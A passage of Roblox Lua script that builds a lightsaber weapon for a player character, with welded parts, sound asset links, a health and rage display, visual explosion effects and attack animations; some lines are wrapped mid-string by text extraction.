np.BottomSurface = 0 np.TopSurface = 0 np.Anchored =
true np.Transparency = 0.4
np.formFactor = "Custom" np.Parent = ob local mag =
math.abs((newpos - oldpos).magnitude)
local mp = nil
if mes ~= nil then
np.Size = Vector3.new(2,mag,2) mp =
Instance.new("FileMesh",np) mp.MeshId = mes else
np.Size = Vector3.new(0.4,0.4,mag) mp =
Instance.new("BlockMesh",np) end
np.CFrame = CFrame.new(newpos,oldpos)
np.CFrame = np.CFrame + np.CFrame.lookVector* (mag/2)
if mes == BlastMesh.MeshId then np.CFrame = np.CFrame
*ca(mr(-90),0,0) else np.CFrame = np.CFrame *ca(0,0,mr(-45)) end
oldpos = newpos
coroutine.resume(coroutine.create(function()
for i=1,0,-0.1 do
np.Transparency = np.Transparency + 0.03
--if mes ~= nil then
--mp.Scale = Vector3.new(i,mag,i) else
mp.Scale = Vector3.new(i,i,1) -- end
wait()
end
np:Remove()
end))
wait(0.08)
end
end))
end)
end
Sounds = {
Boom = "http://www.roblox.com/asset/?id=16976189";
SniperFire = "http://www.roblox.com/asset/?id=1369158";
ShotgunFire2 = "http://www.roblox.com/asset/?id=1868836";
MinigunFire = "http://www.roblox.com/asset/?id=2692806";
MinigunCharge = "http://www.roblox.com/asset/?id=2692844";
MinigunDischarge = "http://www.roblox.com/asset/?id=1753007";
Flashbang = "http://www.roblox.com/asset/?id=16976189";
Beep = "http://www.roblox.com/asset/?id=15666462";
Smash = "http://www.roblox.com/asset/?id=2801263";
Punch = "http://www.roblox.com/asset/?id=31173820";
Slash = "rbxasset://sounds/swordslash.wav";
Falcon = "http://www.roblox.com/asset/?id=1387390";
Cast = "http://www.roblox.com/asset/?id=2101137";
Spin = "http://www.roblox.com/asset/?id=1369159";
Abscond = "http://www.roblox.com/asset/?id=2767090";
ElectricalCharge = "http://www.roblox.com/asset/?id=2800815";
FireExplosion = "http://www.roblox.com/asset/?id=3264793";
SaberLightUp = "http://www.roblox.com/asset/?id=10209303";
SaberSlash = "http://www.roblox.com/asset/?id=10209280";
SaberHit = "http://www.roblox.com/asset/?id=44463749";
EnergyBlast = "http://www.roblox.com/asset/?id=10209268";
}
function Sound(sid,pit,vol)
local ss = Instance.new("Sound")
ss.Name = "Sound"
ss.Parent = Head
ss.SoundId = sid
ss.Pitch = pit
ss.Volume = vol
ss.PlayOnRemove = true
wait()
ss:Remove()
end
r(Char,"SwordPack")
r(Char,"Suit")
r(Char,"Saber" ..Player.Name)
r(Pg,"Sabers")
Suit = inew("Model")
Suit.Name = "Suit"
Suit.Parent = Char
function p(pa,sh,x,y,z,c,a,tr,re,bc)
local fp = it("Part",pa)
fp.formFactor = "Custom"
fp.Shape = sh
fp.Size = v3(x,y,z)
fp.CanCollide = c
fp.Anchored = a
fp.BrickColor = br(bc)
fp.Transparency = tr
fp.Reflectance = re
fp.BottomSurface = 0
fp.TopSurface = 0
fp.CFrame = Torso.CFrame
fp:BreakJoints()
return fp
end
function weld(pa,p0,p1,x,y,z,a,b,c)
local fw = it("Weld",pa)
fw.Part0 = p0
fw.Part1 = p1
fw.C0 = cf(x,y,z) *ca(a,b,c)
return fw
end
function ft(tab,nam)
if tab == nil or nam == nil then print("U: Fail table") return false
end
for i=1,#tab do
if tab == nam then
return i
else
end
end
return nil
end
function spm(ty,pa,ssx,ssy,ssz)
local sp = it("SpecialMesh",pa)
sp.MeshType = ty
sp.Scale = Vector3.new(ssx,ssy,ssz)
return sp
end
Torso.Transparency = 1
Torm = Instance.new("Model",Char)
Torm.Name = "Saber" ..Player.Name
Tor = p(Torm,"Block",1.98,1.98,1,false,false,0,0,"basda") Tor.Name = "Torso"
Torw = weld(Tor,Torso,Tor,0,0,0,0,0,0)
pcall(function() Char.Shirt:Clone().Parent = Torm end)
pcall(function() Char.Pants:Clone().Parent = Torm end)
function ShockWave(onb,scale,col)
coroutine.resume(coroutine.create(function()
local e1 = Instance.new("Part")
e1.Anchored = true
e1.formFactor = "Custom"
e1.CanCollide = false
e1.Size = Vector3.new(1,1,1)
e1.BrickColor = BrickColor.new(col)
e1.Transparency = 0.6
e1.TopSurface = 0
e1.BottomSurface = 0
e1.Parent = Torm
e1.CFrame = onb.CFrame
e1.CFrame = e1.CFrame *CFrame.Angles(math.rad(-90),0,0)
local e1m = Instance.new("SpecialMesh")
e1m.MeshType = "FileMesh"
e1m.Scale = Vector3.new(3,3,3)
e1m.Parent = e1
e1m.MeshId = RingMesh.MeshId
local r1 = Instance.new("Part")
r1.Anchored = true
r1.formFactor = "Custom"
r1.CanCollide = false
r1.Size = Vector3.new(1,1,1)
r1.BrickColor = BrickColor.new(col)
r1.Transparency = 0.6
r1.TopSurface = 0
r1.BottomSurface = 0
r1.Parent = Torm
r1.CFrame = e1.CFrame *CFrame.Angles(math.rad(90),0,0)
local r1m = Instance.new("SpecialMesh")
r1m.MeshType = "FileMesh"
r1m.Scale = Vector3.new(3,3,3)
r1m.Parent = r1
r1m.MeshId = BlastMesh.MeshId
for i=1,30 do
local pluscal = scale/38
e1m.Scale = e1m.Scale +
Vector3.new(pluscal,pluscal,pluscal)
r1m.Scale = r1m.Scale +
Vector3.new(pluscal/1.5,pluscal/3,pluscal/1.5)
r1.CFrame = r1.CFrame * CFrame.Angles(0,math.rad(6),0)
wait()
end
for i=1,30 do
local pluscal = scale/38
e1m.Scale = e1m.Scale +
Vector3.new(pluscal,pluscal,pluscal)
r1m.Scale = r1m.Scale +
Vector3.new(pluscal/1.5,pluscal/4,pluscal/1.5)
r1.CFrame = r1.CFrame * CFrame.Angles(0,math.rad(6),0)
e1.Transparency = e1.Transparency + 0.1
r1.Transparency = r1.Transparency + 0.1
wait()
end
e1:Remove()
r1:Remove()
end))
end
function Explode(onb,scale,col)
coroutine.resume(coroutine.create(function()
local e1 = Instance.new("Part")
e1.Anchored = true
e1.formFactor = "Custom"
e1.CanCollide = false
e1.Size = Vector3.new(1,1,1)
e1.BrickColor = BrickColor.new(col)
e1.Transparency = 0.6
e1.TopSurface = 0
e1.BottomSurface = 0
e1.Parent = Torm
e1.CFrame = onb.CFrame
local e1m = Instance.new("SpecialMesh")
e1m.MeshType = "Sphere"
e1m.Parent = e1
local r1 = Instance.new("Part")
r1.Anchored = true
r1.formFactor = "Custom"
r1.CanCollide = false
r1.Size = Vector3.new(1,1,1)
r1.BrickColor = BrickColor.new(col)
r1.Transparency = 0.6
r1.TopSurface = 0
r1.BottomSurface = 0
r1.Parent = Torm
r1.CFrame = e1.CFrame *CFrame.Angles(math.rad(180),0,0)
local r1m = Instance.new("SpecialMesh")
r1m.MeshType = "FileMesh"
r1m.Scale = Vector3.new(3,3,3)
r1m.Parent = r1
r1m.MeshId = RingMesh.MeshId
local r2 = Instance.new("Part")
r2.Anchored = true
r2.formFactor = "Custom"
r2.CanCollide = false
r2.Size = Vector3.new(1,1,1)
r2.BrickColor = BrickColor.new(col)
r2.Transparency = 0.6
r2.TopSurface = 0
r2.BottomSurface = 0
r2.Parent = Torm
r2.CFrame = e1.CFrame *CFrame.Angles(0,math.rad(180),0)
local r2m = Instance.new("SpecialMesh")
r2m.MeshType = "FileMesh"
r2m.Parent = r2
r2m.Scale = Vector3.new(3,3,3)
r2m.MeshId = RingMesh.MeshId
local bla = Instance.new("Part")
bla.Anchored = true
bla.formFactor = "Custom"
bla.CanCollide = false
bla.Size = Vector3.new(1,1,1)
bla.BrickColor = BrickColor.new(col)
bla.Transparency = 0.6
bla.TopSurface = 0
bla.BottomSurface = 0
bla.Parent = Torm
bla.CFrame =
CFrame.new(e1.Position.x,e1.Position.y,e1.Position.z)
local blam = Instance.new("SpecialMesh")
blam.MeshType = "FileMesh"
blam.Parent = bla
blam.Scale = Vector3.new(5,5,5)
blam.MeshId = BlastMesh.MeshId
for i=1,30 do
local pluscal = scale/38
e1m.Scale = e1m.Scale +
Vector3.new(pluscal,pluscal,pluscal)
r1m.Scale = r1m.Scale +
Vector3.new(pluscal,pluscal,pluscal)
r2m.Scale = r1m.Scale +
Vector3.new(pluscal,pluscal,pluscal)
blam.Scale = blam.Scale +
Vector3.new(pluscal,pluscal/2,pluscal)
bla.CFrame = bla.CFrame * CFrame.Angles(0,math.rad(12),0)
r1.CFrame = r1.CFrame * CFrame.Angles(math.rad(6),0,0)
r2.CFrame = r2.CFrame * CFrame.Angles(0,math.rad(6),0)
wait()
end
for i=1,30 do
local pluscal = scale/38
e1m.Scale = e1m.Scale +
Vector3.new(pluscal,pluscal,pluscal)
r1m.Scale = r1m.Scale +
Vector3.new(pluscal,pluscal,pluscal)
r2m.Scale = r1m.Scale +
Vector3.new(pluscal,pluscal,pluscal)
blam.Scale = blam.Scale +
Vector3.new(pluscal/1.5,pluscal/3,pluscal/1.5)
bla.CFrame = bla.CFrame * CFrame.Angles(0,math.rad(12),0)
r1.CFrame = r1.CFrame * CFrame.Angles(math.rad(6),0,0)
r2.CFrame = r2.CFrame * CFrame.Angles(0,math.rad(6),0)
bla.Transparency = bla.Transparency + 0.1
e1.Transparency = e1.Transparency + 0.1
r1.Transparency = r1.Transparency + 0.1
r2.Transparency = r2.Transparency + 0.1
wait()
end
e1:Remove()
r1:Remove()
r2:Remove()
end))
end
H1 = p(Torm,"Block",0.5,0.9,0.5,false,false,0,0.1,"Medium stone grey")
spm("Head",H1,1,1.3,1)
H1w = weld(Tor,Torso,H1,0.4,-0.7,0.5,0,0,mr(45))
H2 = p(Torm,"Block",0.5,0.9,0.5,false,false,0,0.1,"Medium stone grey")
spm("Head",H2,1,1.3,1)
H2w = weld(Tor,H1,H2,0,-0.8,0,mr(180),0,0)
Des1 = p(Torm,"Block",0.6,0.1,0.6,false,false,0,0.1,"Black")
Instance.new("CylinderMesh",Des1)
Des1w = weld(Tor,H1,Des1,0,0.5,0,0,0,0)
Des2 = p(Torm,"Block",0.6,0.1,0.6,false,false,0,0.1,"Black")
Instance.new("CylinderMesh",Des2)
Des2w = weld(Tor,H2,Des2,0,0.5,0,0,0,0)
Des21 = p(Torm,"Block",0.6,0.1,0.6,false,false,0,0.1,"Black") Des21m =
Instance.new("CylinderMesh",Des21) Des21m.Scale = Vector3.new(1,0.6,1)
Des21w = weld(Tor,H1,Des21,0,-0.55,0,0,0,0)
Des22 = p(Torm,"Block",0.6,0.1,0.6,false,false,0,0.1,"Black") Des22m =
Instance.new("CylinderMesh",Des22) Des22m.Scale = Vector3.new(1,0.6,1)
Des22w = weld(Tor,H2,Des22,0,-0.55,0,0,0,0)
Blad1 = p(Torm,"Block",0.3,4,0.3,false,false,1,0.25,BladeColor) M1 =
spm("Head",Blad1,1,1,1)
Blad1w = weld(Tor,H1,Blad1,0,1.9,0,0,0,0)
Blad2 = p(Torm,"Block",0.3,4,0.3,false,false,1,0.25,BladeColor) M2 =
spm("Head",Blad2,1,1,1)
Blad2w = weld(Tor,H2,Blad2,0,1.9,0,0,0,0)
Glow1 = p(Torm,"Block",0.47,4.2,0.47,false,false,1,0,BladeColor) GM1 =
spm("Head",Glow1,1,1,1)
Glow1w = weld(Tor,H1,Glow1,0,1.9,0,0,0,0)
Glow2 = p(Torm,"Block",0.47,4.2,0.47,false,false,1,0,BladeColor) GM2 =
spm("Head",Glow2,1,1,1)
Glow2w = weld(Tor,H2,Glow2,0,1.9,0,0,0,0)
r(Bp,HopperName)
bin = inew("HopperBin")
bin.Name = HopperName
bin.Parent = Bp
Gui = Instance.new("ScreenGui",Pg)
Gui.Name = "Sabers"
Frame = Instance.new("Frame",Gui)
Frame.BackgroundTransparency = 1 Frame.Size = UDim2.new(1,0,1,0)
ImageGui = Instance.new("ImageLabel",Frame)
ImageGui.Image = "http://www.roblox.com/asset/?id=51262246"
ImageGui.BackgroundTransparency = 1
ImageGui.Size = UDim2.new(0.3,0,0.075,0)
HealthBar = Instance.new("ImageLabel",Frame)
HealthBar.Image = "http://www.roblox.com/asset/?id=48965808"
HealthBar.BorderSizePixel = 0
HealthBar.Size = UDim2.new(0.23,0,0.017,0)
HealthBar.Position = UDim2.new(0.06,0,0.017,0)
RageBar = Instance.new("ImageLabel",Frame)
RageBar.Image = "http://www.roblox.com/asset/?id=48965808"
RageBar.BorderSizePixel = 0
RageBar.Size = UDim2.new(0.165,0,0.012,0)
RageBar.Position = UDim2.new(0.06,0,0.04,0)
RageBar.BackgroundColor3 = BrickColor.new("Alder").Color
SelectBar = Instance.new("ImageButton",Frame)
SelectBar.Image = "http://www.roblox.com/asset/?id=48965808"
SelectBar.BorderSizePixel = 0
SelectBar.Size = UDim2.new(0.1,0,0.07,0)
SelectBar.Position = UDim2.new(0.8,0,0.6,0)
SelectBar.BackgroundColor3 = BrickColor.new(BladeColor).Color
SelectrBar = Instance.new("TextLabel",SelectBar)
SelectrBar.BackgroundTransparency = 1
SelectrBar.BorderSizePixel = 0
SelectrBar.Size = UDim2.new(0,0,0,0)
SelectrBar.Position = UDim2.new(0.5,0,0.5,0)
SelectrBar.Font = "ArialBold"
SelectrBar.FontSize = "Size18"
SelectBar.MouseButton1Up:connect(function()
if Anim.Move ~= "None" then return end
if Anim.Act == true then return end
if Anim.Equipped == false then return end
if SwordType == "Single" then
Anim.Move = "Changing"
Anims.ChangeToDual(0,1,0.065*Speed) SwordType = "Dual"
Anim.Move = "None"
else
Anim.Move = "Changing"
Anims.ChangeToSingle(0,1,0.065*Speed) SwordType = "Single"
Anim.Move = "None"
end
end)
coroutine.resume(coroutine.create(function()
while true do
wait(0.05)
local hh = Hum.Health local hmh = Hum.MaxHealth
HealthBar.Size = UDim2.new((hh/hmh)*0.23,0,0.017,0)
if ((hh/hmh)*100) > 75 then
HealthBar.BackgroundColor3 = BrickColor.new("Alder").Color
elseif ((hh/hmh)*100) > 25 and ((hh/hmh)*100) < 76 then
HealthBar.BackgroundColor3 = BrickColor.new("Deep
orange").Color
elseif ((hh/hmh)*100) < 26 then
HealthBar.BackgroundColor3 = BrickColor.new("Bright
red").Color
end
RageBar.Size = UDim2.new((Rage/MaxRage)*0.165,0,0.012,0)
SelectrBar.Text = SwordType
end
end))
-------
function TellXPos(brick1,posd)
local lb = p(nil,"Block",1,1,1,true,false,1,0.1,BladeColor)
lb.CFrame = CFrame.new((brick1.CFrame *cf(-10,0,0)).p)
local rb = p(nil,"Block",1,1,1,true,false,1,0.1,BladeColor)
rb.CFrame = CFrame.new((brick1.CFrame *cf(10,0,0)).p)
local posml = math.abs((posd - rb.Position).magnitude)
local posmr = math.abs((posd - lb.Position).magnitude)
if posml > posmr then
return "left"
else
return "right"
end
end
function GetNearPlayer(urpos,maxmag)
if maxmag == nil then return nil end
for i,v in pairs(game.Players:GetChildren()) do
if v.Character ~= Char and v.Character ~= nil and
v.Character:findFirstChild("Torso") ~= nil and
math.abs((v.Character.Torso.Position-urpos).magnitude) < maxmag then
return v.Character.Torso
end
end
return nil
end
function Dmgz(hum,dmg)
dmg = dmg*Props.Buff
hum.Health = hum.Health - dmg
Rage = Rage + ((dmg/1.25)*RageIncome)
if Rage > MaxRage then Rage = MaxRage end
end
coroutine.resume(coroutine.create(function()
while true do
wait()
if Right == true and Anim.Move == "ForceWave" then
for i,v in pairs(workspace:GetChildren()) do
coroutine.resume(coroutine.create(function()
if v ~= Char and v ~= nil and
v:findFirstChild("Torso") ~= nil and math.abs((v.Torso.Position-
Blad2.Position).magnitude) < MagnitudeHit[Anim.Move] then
local hit = v.Torso
if hit ~= nil and
hit.Parent:findFirstChild("Humanoid") ~= nil and ft(RightDebounce,hit.Parent.Name)
== nil then
Dmgz(hit.Parent.Humanoid,Damage[Anim.Move])
table.insert(RightDebounce,hit.Parent.Name)
wait(DebounceSpeed) local nf =
ft(RightDebounce,hit.Parent.Name) if nf ~= nil then table.remove(RightDebounce,nf)
end
end
else
if v:IsA("BasePart") and v.Anchored ==
false and math.abs((v.Position-Blad2.Position).magnitude) < MagnitudeHit[Anim.Move]
then v:BreakJoints() v.Velocity = cf(Blad2.Position,v.Position).lookVector*30 +
Vector3.new(0,20,0) end
end
end))
end -- for
end
end
end))
Blad1.Touched:connect(function(hit)
if Left == true then
if hit ~= nil and hit.Parent:findFirstChild("Humanoid") ~= nil
and ft(LeftDebounce,hit.Parent.Name) == nil then
coroutine.resume(coroutine.create(function()
table.insert(LeftDebounce,hit.Parent.Name)
wait(DebounceSpeed) local nf =
ft(LeftDebounce,hit.Parent.Name) if nf ~= nil then table.remove(LeftDebounce,nf)
end
end))
Sound(Sounds.SaberHit,1,1)
Dmgz(hit.Parent.Humanoid,Damage[Anim.Move])
else
--if hit.Parent:findFirstChild("Humanoid") == nil and not
hit:IsDescendantOf(Char) and hit.Anchored == false then hit:BreakJoints()
hit.Velocity = cf(Blad1.Position,hit.Position).lookVector*30 end
end
end
end)
Blad2.Touched:connect(function(hit)
if Right == true then
if hit ~= nil and hit.Parent:findFirstChild("Humanoid") ~= nil
and ft(RightDebounce,hit.Parent.Name) == nil then
coroutine.resume(coroutine.create(function()
table.insert(RightDebounce,hit.Parent.Name)
wait(DebounceSpeed) local nf =
ft(RightDebounce,hit.Parent.Name) if nf ~= nil then table.remove(RightDebounce,nf)
end
end))
Sound(Sounds.SaberHit,1,1)
Dmgz(hit.Parent.Humanoid,Damage[Anim.Move])
else
--if hit.Parent:findFirstChild("Humanoid") == nil and not
hit:IsDescendantOf(Char) and hit.Anchored == false then hit:BreakJoints()
hit.Velocity = cf(Blad2.Position,hit.Position).lookVector*30 end
end
end
end)
LW = inew("Weld")
RW = inew("Weld")
Fla = p(Torm,"Block",1,2,1,false,false,1,0,BladeColor)
Fra = p(Torm,"Block",1,2,1,false,false,1,0,BladeColor)
Flaw = fWeld("Weld",Fla,Tor,Fla,true,-1.5,0.5,0,0,0,0)
Fraw = fWeld("Weld",Fla,Tor,Fra,true,1.5,0.5,0,0,0,0)
Flaw.C1 = CFrame.new(0,0.5,0)
Fraw.C1 = CFrame.new(0,0.5,0)
Fll = p(Torm,"Block",1,2,1,false,false,1,0,BladeColor)
Frl = p(Torm,"Block",1,2,1,false,false,1,0,BladeColor)
Fllw = fWeld("Weld",Fll,Torso,Fll,true,0,0,0,0,0,0)
Frlw = fWeld("Weld",Fll,Torso,Frl,true,0,0,0,0,0,0)
function FeetWeld(yesorno,lhh,rhh)
if yesorno == false then
lhh.Parent = nil
rhh.Parent = nil
Lh.Parent = Torso
Rh.Parent = Torso
Lh.Part0 = Tor
Rh.Part0 = Tor
Lh.Part1 = Char["Left Leg"]
Rh.Part1 = Char["Right Leg"]
return Lh,Rh
else
Rh.Parent = nil
Lh.Parent = nil
local hl,hr = it("Weld",Torso),it("Weld",Torso)
hl.Part0 = Fll
hr.Part0 = Frl
hl.Part1 = Char["Left Leg"]
hr.Part1 = Char["Right Leg"]
hr.C1 = cf(-0.5,1.75,0)
hl.C1 = cf(0.5,1.75,0)
return hl,hr
end
end
Anims = {}
Anims.Equip = function(i1,i2,is)
Anim.Act = true
for i=i1,i2,is do
RW.C1 = ca(mr(40*i),mr(20*i),0)
RW.C0 = cf(-0.4*i,-0.1*i,0.4*i)
wait()
end
H1w.Part0 = Ra
H1w.Part1 = H1
H1w.C0 = cf(0,-1.1,0) *ca(0,mr(180),0) H1w.C1 = ca(mr(-90),0,0)
Sound(Sounds.Slash,1,1)
for i=i1,i2,is do
H1w.C0 = cf(0,-1.1,0) *ca(0,mr(90+(270*i)),0)
LW.C1 = ca(mr(-80*i),mr(40*i),0)
LW.C0 = cf(0.6*i,0.3*i,-1*i)
RW.C1 = ca(mr(40+(-120*i)),mr(20+(-60*i)),0)
RW.C0 = cf(-0.4+(-0.2*i),-0.1+(0.4*i),0.4+(-1.4*i))
wait()
end
Sound(Sounds.SaberLightUp,3,1)
for i=i1,i2,is do
Blad1w.C0 = cf(0,0.95+(0.95*i),0)
Blad2w.C0 = cf(0,0.95+(0.95*i),0)
M1.Scale = Vector3.new(1,1*i,1)
M2.Scale = Vector3.new(1,1*i,1)
Blad1.Transparency = 0.9-(1*i)
Blad2.Transparency = 0.9-(1*i)
Glow1w.C0 = cf(0,0.95+(0.95*i),0)
Glow2w.C0 = cf(0,0.95+(0.95*i),0)
GM1.Scale = Vector3.new(1,1*i,1)
GM2.Scale = Vector3.new(1,1*i,1)
Glow1.Transparency = 1.05-(0.5*i)
Glow2.Transparency = 1.05-(0.5*i)
wait()
end
Anim.Act = false
end
Anims.UnEquip = function(i1,i2,is)
Anim.Act = true
Sound(Sounds.SaberLightUp,3,1)
for i=i1,i2,is do
Blad1w.C0 = cf(0,0.95+(0.95*i),0)
Blad2w.C0 = cf(0,0.95+(0.95*i),0)
M1.Scale = Vector3.new(1,1*i,1)
M2.Scale = Vector3.new(1,1*i,1)
Blad1.Transparency = 0.9-(1*i)
Blad2.Transparency = 0.9-(1*i)
Glow1w.C0 = cf(0,0.95+(0.95*i),0)
Glow2w.C0 = cf(0,0.95+(0.95*i),0)
GM1.Scale = Vector3.new(1,1*i,1)
GM2.Scale = Vector3.new(1,1*i,1)
Glow1.Transparency = 1.05-(0.5*i)
Glow2.Transparency = 1.05-(0.5*i)
wait()
end
Sound(Sounds.Slash,1,1)
for i=i1,i2,is do
H1w.C0 = cf(0,-1.1,0) *ca(0,mr(90+(270*i)),0)
LW.C1 = ca(mr(-80*i),mr(40*i),0)
LW.C0 = cf(0.6*i,0.3*i,-1*i)
RW.C1 = ca(mr(40+(-120*i)),mr(20+(-60*i)),0)
RW.C0 = cf(-0.4+(-0.2*i),-0.1+(0.4*i),0.4+(-1.4*i))
wait()
end
H1w.Part0 = Torso
H1w.Part1 = H1
H1w.C0 = cf(0.4,-0.7,0.5) *ca(0,0,mr(45))
H1w.C1 = cf(0,0,0) *ca(0,0,0)
for i=i1,i2,is do
RW.C1 = ca(mr(40*i),mr(20*i),0)
RW.C0 = cf(-0.4*i,-0.1*i,0.4*i)
wait()
end
Anim.Act = false
end
Anims.ChangeToDual = function(i1,i2,is)
Anim.Act = true
for i=i1,i2,is*Speed do
H1w.C0 = cf(0,-1.1,0) *ca(mr(-80*i),mr(50*i),0)
wait()
end
Sound(Sounds.SaberHit,1,1)
Sound(Sounds.SaberLightUp,2,0.5)
H1w.Part0 = La
H1w.Part1 = H1
H2w.Part0 = Ra
H2w.Part1 = H2
H2w.C1 = ca(mr(-90),0,0)
for i=i1,i2,is*Speed do
H1w.C0 = cf(0,-1.1,0) *ca(0,mr(-90+(-90*i)),mr(20+(-20*i)))
H2w.C0 = cf(0,-1.1,0) *ca(0,mr(90+(90*i)),mr(-35+(-35*i)))
LW.C1 = ca(mr(-80+(20*i)),mr(40+(-70*i)),0)
LW.C0 = cf(0.6+(-0.6*i),0.3+(-0.3*i),-1+(0.5*i))
RW.C1 = ca(mr(-80+(20*i)),mr(-40+(70*i)),0)
RW.C0 = cf(-0.6+(0.6*i),0.3+(-0.3*i),-1+(0.5*i))
wait()
end
Anim.Act = false
end
Anims.ChangeToSingle = function(i1,i2,is)
Anim.Act = true
for i=i2,i1,-is*Speed do
H1w.C0 = cf(0,-1.1,0) *ca(0,mr(-90+(-90*i)),mr(20+(-20*i)))
H2w.C0 = cf(0,-1.1,0) *ca(0,mr(90+(90*i)),mr(-35+(-35*i)))
LW.C1 = ca(mr(-80+(20*i)),mr(40+(-70*i)),0)
LW.C0 = cf(0.6+(-0.6*i),0.3+(-0.3*i),-1+(0.5*i))
RW.C1 = ca(mr(-80+(20*i)),mr(-40+(70*i)),0)
RW.C0 = cf(-0.6+(0.6*i),0.3+(-0.3*i),-1+(0.5*i))
wait()
end
H1w.Part0 = Ra
H1w.Part1 = H1
H2w.Part0 = H1
H2w.Part1 = H2
H2w.C1 = ca(0,0,0)
H2w.C0 = cf(0,-0.8,0) *ca(mr(180),0,0)
Sound(Sounds.SaberLightUp,2,0.5)
Sound(Sounds.SaberHit,1,1)
for i=i2,i1,-is*Speed do
H1w.C0 = cf(0,-1.1,0) *ca(mr(-80*i),mr(50*i),0)
wait()
end
Anim.Act = false
end
Anims.RotorBlade = function(i1,i2,is,RaigCost)
local lolpos = (Torso.Position - mouse.hit.p).unit
local allx = (lolpos.y*80)-10
local ally = (((mouse.X-(mouse.ViewSizeX/2))/mouse.ViewSizeX)*1.8)*-90
Anim.Act = true
for i=i1,i2,is do
LW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(allx*i)),mr(40+(-40*i)),0)
LW.C0 = cf(0.6+(-0.9*i),0.3,-1+(1*i)) *ca(0,mr(90*i),0)
RW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(allx*i)),mr(-40+(40*i)),0)
RW.C0 = cf(-0.6+(0.9*i),0.3,-1+(1*i)) *ca(0,mr(((-90)+ally)*i),0)
Torw.C1 = ca(0,mr(-90*i),0)
wait()
end
DebounceSpeed = DebounceSpeed - (0.5*Speed)
Hum.WalkSpeed = Hum.WalkSpeed + (8*Speed)
Left = true
Right = true
Dash(Blad1,2/Speed,nil,2)
Dash(Blad2,2/Speed,nil,2)
H1w.C0 = cf(0,-1.1,0) *ca(0,0,0) H1w.C1 = cf(0,-0.4,0) *ca(mr(-90),0,0)
local soundtime = 0
for i=i1,i2*4,is do
if soundtime == 10 then soundtime = 0
Sound(Sounds.SaberSlash,2.5,0.5) else soundtime = soundtime + 1 end
H1w.C0 = cf(0,-1.1,0) *ca(0,mr(360*i),0)
wait()
end
H1w.C0 = cf(0,-1.1,0) *ca(0,0,0) H1w.C1 = cf(0,0,0) *ca(mr(-90),0,0)
DebounceSpeed = DebounceSpeed + (0.5*Speed)
Hum.WalkSpeed = Hum.WalkSpeed - (8*Speed)
Left = false
Right = false
for i=i2,i1,-is do
LW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(allx*i)),mr(40+(-40*i)),0)
LW.C0 = cf(0.6+(-0.9*i),0.3,-1+(1*i)) *ca(0,mr(90*i),0)
RW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(allx*i)),mr(-40+(40*i)),0)
RW.C0 = cf(-0.6+(0.9*i),0.3,-1+(1*i)) *ca(0,mr(((-90)+ally)*i),0)
Torw.C1 = ca(0,mr(-90*i),0)
wait()
end
Torw.C1 = ca(0,0,0)
Anim.Act = false
end
-------
Anims.Boomerang = function(i1,i2,is,RaigCost)
MinusRage(RaigCost)
local lolpos = (Head.Position - mouse.hit.p).unit
local allx = (lolpos.y*80)-10
Anim.Act = true
for i=i1,i2,is do
LW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(allx*i)),mr(40+(-40*i)),0)
LW.C0 = cf(0.6+(-0.9*i),0.3,-1+(1*i)) *ca(0,mr(60*i),0)
RW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(allx*i)),mr(-40+(40*i)),0)
RW.C0 = cf(-0.6+(0.9*i),0.3,-1+(1*i)) *ca(0,mr(-60*i),0)
Torw.C1 = ca(0,mr(-60*i),0)
H1w.C0 = cf(0,-1.1,0) *ca(mr(80*i),0,0)
wait()
end
DebounceSpeed = DebounceSpeed - (0.5*Speed)
Left = true
Right = true
Dash(Blad1,3.8/Speed,nil,2)
Dash(Blad2,3.8/Speed,nil,2)
H1w.C0 = cf(0,-1.1,0) *ca(0,0,0) H1w.C1 = cf(0,-0.4,0) *ca(mr(-90),0,0)
local soundtime = 0
for i=i1,i2,is/2 do
if soundtime == 10 then soundtime = 0
Sound(Sounds.SaberSlash,2.5,0.5) else soundtime = soundtime + 1 end
H1w.C0 = cf(10*i,-1.1+(-15*i),0) *ca(mr(90),mr(720*i),0)
wait()
end
for i=i1,i2,is/2 do
if soundtime == 10 then soundtime = 0
Sound(Sounds.SaberSlash,2.5,0.5) else soundtime = soundtime + 1 end
H1w.C0 = cf(10+(-20*i),-16.1,0) *ca(mr(90),mr(720*i),0)
wait()
end
for i=i1,i2,is/2 do
if soundtime == 10 then soundtime = 0
Sound(Sounds.SaberSlash,2.5,0.5) else soundtime = soundtime + 1 end
H1w.C0 = cf(-10+(10*i),-16.1+(15*i),0) *ca(mr(90),mr(720*i),0)
wait()
end
H1w.C0 = cf(0,-1.1,0) *ca(0,0,0) H1w.C1 = cf(0,0,0) *ca(mr(-90),0,0)
DebounceSpeed = DebounceSpeed + (0.5*Speed)
Left = false
Right = false
for i=i2,i1,-is do
LW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(allx*i)),mr(40+(-40*i)),0)
LW.C0 = cf(0.6+(-0.9*i),0.3,-1+(1*i)) *ca(0,mr(60*i),0)
RW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(allx*i)),mr(-40+(40*i)),0)
RW.C0 = cf(-0.6+(0.9*i),0.3,-1+(1*i)) *ca(0,mr(-60*i),0)
Torw.C1 = ca(0,mr(-60*i),0)
H1w.C0 = cf(0,-1.1,0) *ca(mr(80*i),0,0)
wait()
end
Torw.C1 = ca(0,0,0)
Anim.Act = false
end
Anims.BoulderForce = function(i1,i2,is,RaigCost)
MinusRage(RaigCost)
Anim.Act = true
for i=i1,i2,is do
LW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(-25*i)),mr(40+(-40*i)),0)
LW.C0 = cf(0.6+(-0.9*i),0.3,-1+(1*i)) *ca(0,mr(50*i),0)
